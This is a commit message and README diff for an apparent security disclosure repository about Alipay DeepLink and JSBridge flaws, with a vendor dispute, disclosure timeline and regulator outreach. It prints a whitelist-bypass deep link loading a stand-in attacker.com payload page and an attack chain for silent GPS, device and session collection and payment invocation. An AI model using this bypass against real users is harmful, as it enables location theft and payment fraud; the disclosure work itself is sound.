Add whitelist bypass emphasis, WeChat articles, official update declaration

- Add whitelist bypass banner (CVSS 9.3) prominently at top of blog
- Add official declaration: updates only via innora.ai/zfb/ and WeChat AI-security-innora
- Add 4 WeChat article links with titles at blog header
- Sanitize case reference numbers from blog content
- Update CSSF to 4 departments confirmed (ICT Risk Supervision)
- Update response count to 39+
- Add rebuttal.html (legal defense document)
- Update README with CVE info, global regulatory response, whitelist bypass details

Co-Authored-By: Claude <noreply@anthropic.com>
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2026-03-14 09:12:47 +08:00
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# Alipay DeepLink + JSBridge Security Research
**17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries**
**17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries | 6 CVEs Applied**
> **⚠️ Official Update Channels**: All updates are published exclusively at:
> 1. **Website**: [https://innora.ai/zfb/](https://innora.ai/zfb/)
> 2. **WeChat**: Official Account **AI-security-innora**
>
> Content from any other source is not authorized by our team.
## WeChat Articles
| Tag | Title | Link |
|-----|-------|------|
| 🆕 NEW | 当白名单绕过沦为全网攻击的钥匙,傲慢的终点是法庭与溯源调查 | [Read](https://mp.weixin.qq.com/s/XB1QSbn0icfCMg-9CANuYw) |
| 🔥 HOT | 巨头的"封口令"被微信驳回,全球顶级黑客弹药库给出最终裁决 | [Read](https://mp.weixin.qq.com/s/A5rLWe46-I_U7p5ts3sdGg) |
| ⚖️ LEGAL | 支付宝安全研究遭律师函投诉 — 零次提及"支付宝"如何构成"商誉侵权" | [Read](https://mp.weixin.qq.com/s/M42BfJPVUhVTeyx1Iw__cw) |
| 📱 ORIGINAL | 位置被秒偷10多亿人每天在用的国民支付应用17个「正常功能」细思极恐 | [Read](https://mp.weixin.qq.com/s/xEBEYZlap3xuDMURuJd7_Q) |
## Critical Finding: Whitelist Bypass (CVSS 9.3)
**The master key enabling all 17 vulnerabilities to be remotely exploitable by ANYONE:**
```
https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html
```
- **No developer permissions required** — No Alipay Open Platform registration, no Mini Program credentials, no approval
- **Transforms all vulnerabilities** — Without this bypass, issues are LAN-only; with it, anyone can attack remotely against 1B+ users
- **Vendor acknowledged severity** — Ant Group stated "If you can bypass our whitelist, that would be serious." Bypass achieved in under 2 minutes. Vendor still refuses to patch, calling it "normal functionality"
- **6 CVEs applied** via MITRE (Ticket #2005801), including this bypass as highest-severity (CWE-601 + CWE-939)
## Full Report
- **Website**: [https://innora.ai/zfb/](https://innora.ai/zfb/)
- **GitHub Mirror**: This repository
- **GitHub**: This repository
## Global Regulatory Response
Reported to ~160 agencies across 22 countries. Active investigations by:
- **Apple Product Security** — Active investigation
- **Google Play** — Policy violation investigation
- **MITRE CVE** — 6 CVEs applied (Ticket #2005801)
- **CSSF Luxembourg** — 4 departments confirmed receipt, ICT Risk Supervision noted contents
- **Singapore PDPC** — Formal data protection investigation
- **HKMA Hong Kong** — SVF licence compliance inquiry
- **CIRCL Luxembourg** — Contacting Alibaba SRC on our behalf
- **Packet Storm Security** — Advisory published (ID 217089)
## Summary
@@ -15,20 +55,20 @@ This repository documents a comprehensive security research project that uncover
| Severity | Count | Examples |
|----------|-------|---------|
| **CRITICAL** | 3 | GPS silent theft, Transfer pre-fill, Payment initiation |
| **HIGH** | 6 | Device fingerprinting, UI spoofing, Session leak |
| **CRITICAL** | 4 | Whitelist bypass (CVSS 9.3), GPS silent theft, Transfer pre-fill, Payment initiation |
| **HIGH** | 5 | Device fingerprinting, UI spoofing, Session leak |
| **MEDIUM** | 8 | Network info, Chain WebView, Scheme injection |
### Attack Chain
```
External SMS/QQ/WeChat Link
Browser opens alipays:// DeepLink
→ Alipay launches with attacker's URL in WebView
AlipayJSBridge APIs exposed to external page
Silent data collection (GPS, device info, session)
Attacker crafts URL (NO developer permissions needed)
ds.alipay.com open redirect bypasses whitelist
→ Alipay WebView loads attacker's page with full JSBridge access
Silent data collection (GPS 8.8m accuracy, device info, session)
Payment interface invocation (tradePay)
→ UI spoofing (title bar, toast notifications)
→ Sensitive page navigation (transaction history, transfer)
→ Sensitive page navigation (transaction history, transfer, assets)
```
### Cross-Platform Verification
@@ -53,11 +93,19 @@ External SMS/QQ/WeChat Link
| 2026-03-07 | Full report V3 sent with 17 vulnerabilities + 308 log entries |
| 2026-03-10 | Ant Group response: "These are normal features" (正常功能) |
| 2026-03-11 | Public disclosure after vendor declined to acknowledge |
| 2026-03-11 | Ant Group's law firm filed WeChat complaint (dismissed by platform) |
| 2026-03-12 | Packet Storm Security published advisory (ID 217089) |
| 2026-03-12 | 6 CVE IDs applied via MITRE (Ticket #2005801) |
| 2026-03-12~14 | ~170 emails sent to ~160 regulatory agencies across 22 countries |
| 2026-03-13 | HKMA, PDPC, CSSF, Apple, Google, CIRCL confirmed receipt/investigation |
| 2026-03-14 | Whitelist bypass (CVSS 9.3) highlighted as master key finding |
## Repository Structure
```
├── index.html # Full bilingual (CN/EN) research blog
├── rebuttal.html # Legal rebuttal to lawyer's complaint
├── wechat_article.html # WeChat public account article
├── poc/
│ ├── trigger.html # Attack trigger simulation page
│ ├── verify.html # JSBridge exploitation PoC